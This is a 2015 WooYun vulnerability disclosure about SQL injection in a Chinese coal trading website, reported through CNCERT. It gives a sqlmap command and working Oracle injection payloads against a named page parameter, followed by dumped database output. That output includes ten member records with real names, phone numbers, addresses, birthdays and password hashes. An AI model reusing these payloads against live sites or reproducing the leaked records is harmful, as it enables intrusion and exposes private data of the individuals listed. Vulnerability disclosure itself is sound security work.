当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164563

漏洞标题:秦皇岛海运煤炭交易官网SQL注入导致全网数据沦陷#千万记录+12w会员数据测漏

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-27 21:18

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-27: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

秦皇岛海运煤炭交易官网SQL注入导致全网数据沦陷#千万记录+12w会员数据测漏

详细说明:

sqlmap.py -u "http://**.**.**.**/finance/port/finance_port_in.jsp?port=G3" --level 3

漏洞证明:

Place: GET
Parameter: port
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: port=G3' AND 2528=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(104)||CHR(103)||CHR(97)||CHR(113)||(SELECT (CASE WHEN (2528=2528) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(110)||CHR(117)||CHR(115)||CHR(113)||CHR(62))) FROM DUAL) AND 'aDPx'='aDPx
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: port=G3' AND 2297=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(117)||CHR(104)||CHR(67),5) AND 'rGva'='rGva
---
web application technology: Servlet 3.0
back-end DBMS: Oracle
available databases [32]:
[*] APEX_030200
[*] APPQOSSYS
[*] COALCHANGE
[*] COALSHIP
[*] COALTEMP
[*] COALTRADE
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] HR
[*] IX
[*] MDSYS
[*] MPHONE
[*] NMGPRICE
[*] OE
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[*] YSUCOAL
[*] YSUCQCOAL
[*] YSUHQCOAL

a1.jpg


back-end DBMS: Oracle
Database: COALTRADE
Table: MEMBER
[10 entries]
+--------+--------------------+----------------------+------+------+------+-------+--------+---------+----------+----------+-----------+-----------+--------------+--------------+------------+------------+------------+-------------+-------------+-------------+----------------------------------+-------------+-------------+-------------+-----------------+--------------------------+--------------+--------------+---------------+---------------+---------------+----------------+-----------------------+-----------------+-----------------------+
| B2B_ID | ANDROID_CLIENT_USE | ANDROID_CLIENT_PHONE | IP | HYLB | FLAG | IS_SJ | REMARK | END_DTE | TYPE_COD | IS_ADMIN | IS_AGENCY | BEGIN_DTE | MEMBER_TEL | MEMBER_FAX | MEMBER_SEX | MEMBER_COD | MEMBER_NAM | TRY_END_DTE | UPDATE_DATE | RECORD_TIME | MEMBER_PASS | MEMBER_DUTY | COMPANY_URL | MEMBER_AREA | COMPANY_NAM | MEMBER_EMAIL | REGISTER_DTE | COMPANY_DESC | TRY_BEGIN_DTE | MEMBER_STATUS | MEMBER_MOBILE | MEMBER_POSTCOD | MEMBER_ADDRESS | MEMBER_BIRTHDAY | REGISTRATION_ENTRANCE |
+--------+--------------------+----------------------+------+------+------+-------+--------+---------+----------+----------+-----------+-----------+--------------+--------------+------------+------------+------------+-------------+-------------+-------------+----------------------------------+-------------+-------------+-------------+-----------------+--------------------------+--------------+--------------+---------------+---------------+---------------+----------------+-----------------------+-----------------+-----------------------+
| 3779 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 053180681165 | 053186332165 | 0 | wuyou635 | 曹经理 | NULL | NULL | 04-JAN-12 | 8F236256115E2B492F2465E4F60B4C8D | 经理 | | NULL | 美国史麦斯燃气壁挂炉山东办事处 | smsrqbgl@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13153191217 | 250000 | 济南市槐荫区段店南路197号 | 15-OCT-70 | NULL |
| 3780 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 05926282048 | 0592950507 | 0 | lianb112 | 陈志 | NULL | NULL | 04-JAN-12 | 3E19F67FA5A1513B9C5E862CD256B25B | NULL | | NULL | 厦门市联邦调查事务所 | lb007@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13338366293 | 361009 | 厦门湖滨东路888号鸿运大厦1108 | 12-FEB-97 | NULL |
| 3781 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 075588367856 | 075583365739 | 0 | ubh71464 | 江先生 | NULL | NULL | 04-JAN-12 | 513542AA9DCCDE29742F96DEB4A1272B | 经理 | | NULL | 深圳搬家公司 | gfbq@**.**.**.** | 07-DEC-07 | | NULL | 1 | 15818530778 | 518000 | 深圳市福田区中航路都会100大厦A座11C | 23-AUG-04 | NULL |
| 3782 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 05373160158 | 05373160158 | 0 | ub3yp788 | 鲁为民 | NULL | NULL | 04-JAN-12 | 887CD4B254D0C1204BECA1FCECCD6ED7 | 经理 | | NULL | 山东畜牧局新农村牧业繁育基地 | niuyang.88@**.**.**.** | 07-DEC-07 | | NULL | 1 | 15905471222 | 272400 | 济宁市市中区 | 23-AUG-04 | NULL |
| 3783 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 021-69766513 | 021-69766513 | 0 | orl6z922 | 张海张峰 | NULL | NULL | 04-JAN-12 | E1560DE2B4E6045CE4471F5B57774A64 | 经理 | | NULL | 上海富宽工程机械有限公司 | WEBMASTER@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13601684429 | 201705 | 上海市青浦区嘉松中路4188弄 | 08-JUN-68 | NULL |
| 3784 | NULL | NULL | NULL | 经营户 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 05942528519 | 05942528519 | 1 | pz2oc266 | sunny | NULL | NULL | 04-JAN-12 | 35342B4986B7EE3EC70326D9C20731DE | manager | | NULL | | ectop21@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13599481975 | 351100 | 福建省莆田市 | 23-AUG-04 | NULL |
| 3858 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 02162849584 | 02162849584 | 0 | mwtkj232 | 赵先生 | NULL | NULL | 04-JAN-12 | EDB08DEE1AF59950E89F131C1A765D65 | 经理 | | NULL | 上海道腾物流公司 | daoteng56@**.**.**.** | 06-DEC-07 | | NULL | 1 | 13370245355 | 200331 | 上海市真南路913号 | 23-AUG-04 | NULL |
| 4286 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 05975260800 | 05972286258 | 1 | uexe6455 | 顾珍贤 | NULL | NULL | 04-JAN-12 | C332C22552E61B943F63ABCA2F5A0540 | 业务员 | | NULL | 龙岩书生科技有限公司 | gzx5919@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13105914559 | 364000 | 新罗区龙兴大厦A座401室 | 08-JAN-87 | NULL |
| 4287 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 031186662517 | 0311 | 0 | tomzh412 | 张涛 | NULL | NULL | 04-JAN-12 | 797B04FF883267DFB0672032621A87C9 | 经理 | | NULL | 石家庄感觉 | tom_zt_37@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13012142623 | 050000 | 东海国际 | 12-DEC-81 | NULL |
| 4288 | NULL | NULL | NULL | 个人 | NULL | 0 | 前台注册 | NULL | 04 | 1 | NULL | NULL | 06358688383 | 06358689383 | 0 | dwr4m011 | 董秋生 | NULL | NULL | 04-JAN-12 | 93E078044F5A5F351D8C5C07ACAB335F | 经理 | | NULL | | yangguang8688383@**.**.**.** | 07-DEC-07 | | NULL | 1 | 13181076638 | 252000 | 山东聊城香江光彩大市场向阳路16号 | 23-AUG-81 | NULL |
+--------+--------------------+----------------------+------+------+------+-------+--------+---------+----------+----------+-----------+-----------+--------------+--------------+------------+------------+------------+-------------+-------------+-------------+----------------------------------+-------------+-------------+-------------+-----------------+--------------------------+--------------+--------------+---------------+---------------+---------------+----------------+-----------------------+-----------------+-----------------------+
web application technology: Servlet 3.0, JSP
back-end DBMS: Oracle
Database: COALINDEX
+-----------------------------+---------+
| Table | Entries |
+-----------------------------+---------+
| INDEXREALTRADE_LOG | 198742 |
| INDEXREALTRADE | 192795 |
| INDEX_CAL_DEAL_SAMPLE_SPACE | 133553 |
| INDEXREALTRADEANALYSIS | 7478 |
| PRICECALCULATIONRESULT | 6504 |
| STANDARDINDEX | 6493 |
| PRICECALCULATIONRESULT_W | 5016 |
| STANDARDINDEX_W | 5016 |
| BSPI_GENERAL_PRICE | 1084 |
| BSPI_GENERAL_PRICE_W | 836 |
| TRADEINFO_0825 | 553 |
| TRADEINFO_0811 | 552 |
| TRADEINFO_0818 | 550 |
| TRADEINFO_INDEX | 536 |
| TRADEINFO_0804 | 468 |
| TRADEINFO_0728 | 357 |
| COMPANY | 320 |
| COMPANY_IMPORT | 297 |
| TRADEINFO_0721 | 291 |
| TRADEINFO_INDEX1 | 291 |
| BSPI_PRICE_RESULT | 271 |
| TRADEINFO_0714_ALL | 253 |
| COMPANY_DICTIONARY | 240 |
| TRADEINFO_0707_ALL | 221 |
| BSPI_PRICE_RESULT_W | 209 |
| PUBLISH | 200 |
| TRADEINFO_0707 | 174 |
| ROLE_RIGHTS_ASSIGNMENT | 171 |
| TRADEINFO_0714 | 160 |
| TRADEINFO_0629_ALL | 154 |
| TRADEINFO_0629_ORG | 130 |
| PUBLISH_BAK | 125 |
| TRADEINFO_0629 | 111 |
| AVG_PRICE_5500 | 93 |
| INTENTINFO_INDEX | 93 |
| SAMPLECOMPANYNAMES | 52 |
| INTENTINFO_0707 | 47 |
| INTENTINFO_0629_ORG | 46 |
| POWERPAGE | 44 |
| INTENTINFO_0629 | 43 |
| FUNCTIONTABLE | 19 |
| OPERATOR | 19 |
| ROLE_ASSIGNMENT | 19 |
| ROLES | 14 |
| COMPANY_WEIGHT | 13 |
| COMPANY_WEIGHT_HISTORY | 13 |
| PORT_WEIGHT_HISTORY | 12 |
| CAL_TEST | 11 |
| INDEXDATABASE_CON | 11 |
| PRODUCT | 9 |
| CONST_TRADEDATA_STATUS | 8 |
| CONST_COMPANY_TYPE | 7 |
| CONTRACT | 6 |
| FUNCTIONSTATUS | 6 |
| INDEXDATABASE_BUS | 6 |
| PORT | 6 |
| USERS | 5 |
| USERSTATUS | 5 |
| INDEXPLANTRADE_LOG | 4 |
| STANDARD | 4 |
| STANDARD_4STD | 4 |
| STANDARD_QUALITY_BASE | 2 |
| BSPI_PUB_CONTROL | 1 |
| BSPI_PUB_MANUAL_CONTROL | 1 |

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-31 17:58

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河北分中心,由河北分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价